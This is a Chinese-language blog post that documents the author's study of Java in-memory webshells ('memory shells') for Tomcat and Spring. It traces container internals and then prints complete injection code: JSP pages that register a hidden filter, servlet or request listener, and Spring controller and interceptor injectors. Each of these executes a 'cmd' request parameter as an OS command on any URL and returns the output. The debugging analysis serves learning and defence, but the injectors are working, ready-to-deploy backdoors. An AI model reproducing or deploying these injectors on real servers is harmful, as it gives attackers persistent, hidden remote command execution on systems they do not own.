https://img2024.cnblogs.com/blog/3305226/202503/3305226-20250331155133325-143341361.jpg

Tomcat+Spring内存马学习

内存马学习

Tomcat内存马

首先servlet知识是必须得知道的

一文看懂内存马 - FreeBuf网络安全行业门户(基础的知识)

然后选了两个比较好的图

image-20250619185345916

img

Filter类型内存马

写一个servlet,filter的demo

添加tomcat lib下的依赖,可以调试分析

image-20250619192149395

serlvet

@WebServlet("/servlet01")
public class ServletTest extends HttpServlet {


    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.getOutputStream().write("Hello World".getBytes());
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost(req, resp);
    }
}

再定义一个filter

import javax.servlet.*;
import java.io.IOException;

public class filterTest implements Filter {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 初始化");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("Filter ing ....");
        filterChain.doFilter(servletRequest, servletResponse);

    }

    @Override
    public void destroy() {
        System.out.println("Filter 销毁");
    }
}

在web.xml定义filterMapping

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    
    <filter>
        <filter-name>filterTest</filter-name>
        <filter-class>com.kudo.filter.filterTest</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>filterTest</filter-name>
        <url-pattern>/servlet01</url-pattern>
    </filter-mapping>
</web-app>

image-20250619192356122

image-20250619193218022

分析:

filterChain.doFilter(servletRequest, servletResponse);打上断点,简单看一下如何进行的过滤操作

发现这里开始调用过滤的操作,向上找,看哪个位置进行了FilterChain的赋值

image-20250619210514515

可以看到是通过ApplicationFilterFactory创建了filterChain,通过当前访问的serlvet,wrapper(每个context对应多个wrapper)创建了FilterChain,所以可知FilterChain是动态创建的,接着跟进看看创建的细节

image-20250619210715345

跟进后重要的一段代码完成了FilterChain创建

首先获取StandardContext(Web应用程序实例)

image-20250619211650698

通过StandarContext获取了FilterMaps数组,filterMap主要是包括匹配路径模式 如(/*)和对应的过滤器名称上图可见

image-20250619212014932

而FilterMaps属性可以由一下两种方法进行赋值,添加filterMap

image-20250619212521776

获取了dispatcher类型

DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");

遍历FilterMap数组 判断DispatcherType和url匹配 然后通过,FilterMap中的值过滤器名 取filterConfig数组中对应的Config

image-20250619213304312

image-20250619213520194

filterConfigs的赋值过程

FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

image-20250619213714072

通过filterDef创建ApllicationFilterConfig

image-20250619214005397

可以通过addFilterDef添加

image-20250619214159179

所以其实整个的poc就很明了,直接拿网上的poc了,从servletRequest反射获取StandardContext需通过两次反射

image-20250619220335925

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    Field appContextField = ApplicationContextFacade.class.getDeclaredField("context");
    appContextField.setAccessible(true);
    Field standardContextField = ApplicationContext.class.getDeclaredField("context");
    standardContextField.setAccessible(true);
	//获取standardContext
    ServletContext servletContext = request.getSession().getServletContext();
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

    Filter filter = new Filter() {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {

        }

        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
            if (request.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
            }
            chain.doFilter(request, response);
        }

        @Override
        public void destroy() {

        }

    };
    //创建filterDef
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName("evilFilter");
    filterDef.setFilterClass(filter.getClass().getName());
    //添加入FilterDefs
    standardContext.addFilterDef(filterDef);
	//创建filterConfig然后添加
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
	//创建FilterMap添加入FilterMaps
    Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    Map filterConfigs = (Map) filterConfigsField.get(standardContext);
    filterConfigs.put("evilFilter", filterConfig);

    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName("evilFilter");
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    standardContext.addFilterMapBefore(filterMap);

    out.println("Inject done");
%>
</body>
</html>

上传访问jsp后(则成功注入),任意url均可拼接cmd

image-20250619223606102

Servlet类型内存马

与Filter内存马比较相似

  • ApplicationServletRegistration 的 addMapping 方法调用 StandardContext#addServletMapping 方法,在 mapper 中添加 URL 路径与 Wrapper 对象的映射(Wrapper 通过 this.children 中根据 name 获取)
  • 同时在 servletMappings 中添加 URL 路径与 name 的映射。

利用ApplicationContext#addServlet添加路由

private ServletRegistration.Dynamic addServlet(String servletName, String servletClass, Servlet servlet, Map<String, String> initParams) throws IllegalStateException {
        if (servletName != null && !servletName.equals("")) {
            if (!this.context.getState().equals(LifecycleState.STARTING_PREP)) {
                throw new IllegalStateException(sm.getString("applicationContext.addServlet.ise", new Object[]{this.getContextPath()}));
            } else {
                Wrapper wrapper = (Wrapper)this.context.findChild(servletName);
                if (wrapper == null) {
                    wrapper = this.context.createWrapper();
                    wrapper.setName(servletName);
                    this.context.addChild(wrapper);
                } else if (wrapper.getName() != null && wrapper.getServletClass() != null) {
                    if (!wrapper.isOverridable()) {
                        return null;
                    }

                    wrapper.setOverridable(false);
                }

                ServletSecurity annotation = null;
                if (servlet == null) {
                    wrapper.setServletClass(servletClass);
                    Class<?> clazz = Introspection.loadClass(this.context, servletClass);
                    if (clazz != null) {
                        annotation = (ServletSecurity)clazz.getAnnotation(ServletSecurity.class);
                    }
                } else {
                    wrapper.setServletClass(servlet.getClass().getName());
                    wrapper.setServlet(servlet);
                    if (this.context.wasCreatedDynamicServlet(servlet)) {
                        annotation = (ServletSecurity)servlet.getClass().getAnnotation(ServletSecurity.class);
                    }
                }

                if (initParams != null) {
                    Iterator i$ = initParams.entrySet().iterator();

                    while(i$.hasNext()) {
                        Map.Entry<String, String> initParam = (Map.Entry)i$.next();
                        wrapper.addInitParameter((String)initParam.getKey(), (String)initParam.getValue());
                    }
                }

                ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, this.context);
                if (annotation != null) {
                    registration.setServletSecurity(new ServletSecurityElement(annotation));
                }

                return registration;
            }
        } else {
            throw new IllegalArgumentException(sm.getString("applicationContext.invalidServletName", new Object[]{servletName}));
        }
    }

主要过程是生成wrapper,封装给context,添加映射,LoadOnStartup设置处理下优先级

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>

<%
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    final Request request1 = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext) request1.getContext();

    HttpServlet servlet = new HttpServlet() {
        @Override
        protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            if (request.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
            }
        }
    };

    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setName("servletevil");
    wrapper.setLoadOnStartup(1);
    wrapper.setServlet(servlet);
    wrapper.setServletClass(HttpServlet.class.getName());

    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/*", "servletevil");

    out.println("inject done!");
    out.flush();
%>

Listener内存马

Listener是一种Java组件,它主要用于监听和响应Tomcat容器中特定事件的发生,Tomcat中的Listener主要用于在Web应用程序的生命周期内执行各种操作

ServletRequestListener最适合用来作内存马,它主要用来监听ServletRequest对象的,访问任意资源都会触发ServletRequestListener#requestInitialized()方法

此类构造马也依然是依赖于addListener动态添加Listener的特性

同样先写一个Listener监听器demo

@WebListener("/test")
public class ListenerTest implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("destroy TestListener");
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("initial TestListener");
    }
}

访问任意路由均会触发

image-20250621150908484

同样获取函数栈后,分析哪一步获取了监听器

requestInitialized:16, ListenerTest (com.kudo.servlet)
fireRequestInitEvent:5905, StandardContext (org.apache.catalina.core)
invoke:125, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:690, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:615, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:818, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1626, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

在fireRequestInitEvent中,listenter由getApplicationEventListeners获取

image-20250621151127717

即可调用addApplicationEventListener动态添加

image-20250621153410310

poc:

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
  Field requestField = request.getClass().getDeclaredField("request");
  requestField.setAccessible(true);
  final Request request1 = (Request) requestField.get(request);
  StandardContext standardContext = (StandardContext) request1.getContext();

  ServletRequestListener listener = new ServletRequestListener() {
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {

    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
      HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
      HttpServletResponse resp = request1.getResponse();
      if (req.getParameter("cmd") != null) {
        try {
          boolean isLinux = true;
          String osTyp = System.getProperty("os.name");
          if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
          }
          String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
          InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
          Scanner s = new Scanner(in).useDelimiter("\\A");
          String out = s.hasNext()?s.next():"";
          resp.getWriter().write(out);
          resp.getWriter().flush();
        }catch (IOException ioe){
          ioe.printStackTrace();
        }
      }
    }
  };
  standardContext.addApplicationEventListener(listener);
  out.println("inject done!");
  out.flush();
%>

Spring内存马

Spring Controller内存马

其实阅读过一点点SpringMvc的源码的话这段理解非常简单,之前记录过一些springmvc源码的阅读

显然,servlet内存马存在,自然Controller内存马也是可能的,由于也能动态注册Controller,所以存在此类内存马

首先了解下Controller类的创建过程

随意的一个Controller类

image-20250621175539300

  • HandlerMethod:对 Controller 的处理请求方法的封装,里面包含了该方法所属的 bean、method、参数等对象。

  • RequestMappingInfo:一个封装类,对一次 http 请求中的相关信息进行封装。

Springmvc初始化时,处理InitializingBean#afterPropertiesSet初始化Bean,其中RequestMappingHandlerMapping 用来处理@RequestMapping,以及创建RequestMappingInfo实例

来到RequestMappingHandlerMapping#afterPropertiesSet
初始化了RequestMappingInfo中的信息,然后调用父类afterPropertiesSet()

image-20250621181002010

private RequestMappingInfo.BuilderConfiguration config = new RequestMappingInfo.BuilderConfiguration();

首先获取所有bean,判断如果不是代理对象然后调用processCandidateBean分别处理

image-20250621182109843

获取bean类型,isHandler判断是否为@Controller @RequestMapping,如果是调用detectHandlerMethods处理

image-20250621182207375

image-20250621181420545

然后获取所有的handler method,创建RequestMappinginfo对象

image-20250621182624542

注册handler method 和对应mapping

image-20250621182836677

image-20250621182948388

MappingRegistry#register

image-20250621183146467

最终存储在这里,方法名,参数,路径等等

image-20250621183245687

接下来看springmvc查找的过程

AbstractHandlerMethodMapping#lookupHandlerMethod

image-20250621184321438

先从pathLookup中查找返回RequestMappinginfo,(这里是通过直接找路径,而不是匹配,如果找不到,再将所有路径遍历匹配。这里输入的是users 而存在users的mappings)。

image-20250621184304592

然后调用了此方法添加了match

image-20250621184558786

返回了handler method,所以具体看addMatchingMappings中是如何添加的

image-20250621184727286

先获取了MappingRegistry中的resgistry属性,然后通过键的方式找

image-20250621202346467

那添加mapping和handlerMethod在这个hashmap中即可

image-20250621203705656

寻找到registry.put,继续向上找,这个AbstractHandlerMethodMapping仍然是个抽象类,继续两个类分别向上找

image-20250621204011972

最后,两个方法RequestMappingHandlerMapping#registerMapping

image-20250621204500469

image-20250621204634737

写一个恶意Controller,将此类添加到

@RestController
@RequestMapping("/")
public class EvilController {
    @GetMapping()
    public void test(String cmd) throws IOException {
        Runtime.getRuntime().exec(cmd);
    }
}

mapping

RequestMappinginfo对象,其中需要用到两个参数

patternsCondition:用于表示请求路径的条件,即请求的URL路径。 可以包含多个路径模式,用于匹配多个URL。

methodsCondition:用于表示请求方法的条件,即请求的HTTP方法(GET、POST等)。

image-20250621205544634

最后的恶意代码,访问add即可触发

@RestController
@RequestMapping("/add")
public class AddController {
    @GetMapping()
    public void addtest() throws IOException, NoSuchMethodException {
        //创建mapping
        PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition("/");
        RequestMethodsRequestCondition requestMethodsRequestCondition = new RequestMethodsRequestCondition();
        RequestMappingInfo requestMappingInfo = new RequestMappingInfo(patternsRequestCondition, requestMethodsRequestCondition, null, null, null, null, null);

        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping bean = context.getBean(RequestMappingHandlerMapping.class);

        Method method = EvilController.class.getMethod("evil", HttpServletRequest.class, HttpServletResponse.class);

        bean.registerMapping(requestMappingInfo,new EvilController(),method);
        System.out.println("inject done");
    }
    public class EvilController{
        public void evil(HttpServletRequest request, HttpServletResponse response) throws IOException {
            String cmd = request.getParameter("cmd");
            InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            response.getWriter().write(output);
            response.getWriter().flush();
        }

    }
}

image-20250622161741669

上面poc中获取context方法。通过 RequestContextHolder.currentRequestAttributes() 可获取当前线程的 RequestAttributes 对象,该对象封装了请求相关的数。DispatcherServlet 在启动时会创建并配置应用上下文,然后可能会将这个上下文对象存储到 ServletRequest 的属性中,以便后续处理器或拦截器等组件可以方便地访问应用上下文中的bean

image-20250622163338919

Spring Interceptor型内存马

首先编写一个拦截器demo,这里使用的springboot

@Component
public class ProjectInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String header = request.getHeader("User-Agent");
        System.out.println("preHandl"+header);
        return true;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        System.out.println("postHandle");
    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        System.out.println("afterCompletion");
    }
}

编写一个配置类

Configuration
public class InterceptorConfig implements WebMvcConfigurer {
    @Resource
    private ProjectInterceptor projectInterceptor;

    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(projectInterceptor).addPathPatterns("/**");
    }
}

访问任意请求都会拦截,打印UA头

image-20250622164225208

同样先来看到拦截器是如何配置并且使用的,在doDispatch处理请求中,返回的handler是HandlerExecutionChain类

image-20250716103048650

进入getHandler中看看具体的逻辑,循环handlerMappings调用getHandler获取handler

这里测试的测试类如下 所以这里主要是用的RequestMappingHandlerMapping处理

@Controller
public class TestController {

    @GetMapping("/a")
    @ResponseBody
    public String test(){
        return "hello";
    }
}

获取handler不细看了,主要看getHandlerExecutionChainmimage-20250716103704087

将handler转换为HandlerExecutionChain

也是遍历一切然后添加拦截器,可以看到测试添加的拦截器在MappedInterceptor中。

image-20250716103820297

所以添加Interceptor的思路可以是更改用AbstractHandlerMapping实现类RequestMappingHandlerMapping中的adapedInterceptors数组的值

而后调用applyPreHandle方法遍历执行即可

@RestController
@RequestMapping("/interceptor")
public class InterceptorController {

    @GetMapping("/inject")
    public void test() throws Exception {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping bean = context.getBean(RequestMappingHandlerMapping.class);
        Field adaptInterceptor = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        adaptInterceptor.setAccessible(true);
        List<HandlerInterceptor> list = (List<HandlerInterceptor>) adaptInterceptor.get(bean);
        list.add(new InterceptorEvil());
        System.out.println("inject success");
    }

    public class InterceptorEvil implements HandlerInterceptor {
        @Override
        public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
            if(request.getParameter("cmd2") != null) {
                Runtime.getRuntime().exec(request.getParameter("cmd2"));
            }
            return true;
        }
    }
}

可以看到是成功添加的。只要不是MappedInterceptor就可以直接添加。

image-20250716112452084

成功执行,不存在的路由也成立

image-20250716112748195

目前学习的并不是严格意义上的内存马,因为得文件落地,访问文件。不过核心的原理已学习。之后的以后再记载

Tomcat内存马——Filter/servlet/Listener/valve-先知社区

Java内存马2-Spring内存马 - K1na - 博客园

posted @ 2025-07-16 11:35  kudo4869  阅读(34)  评论(0)    收藏  举报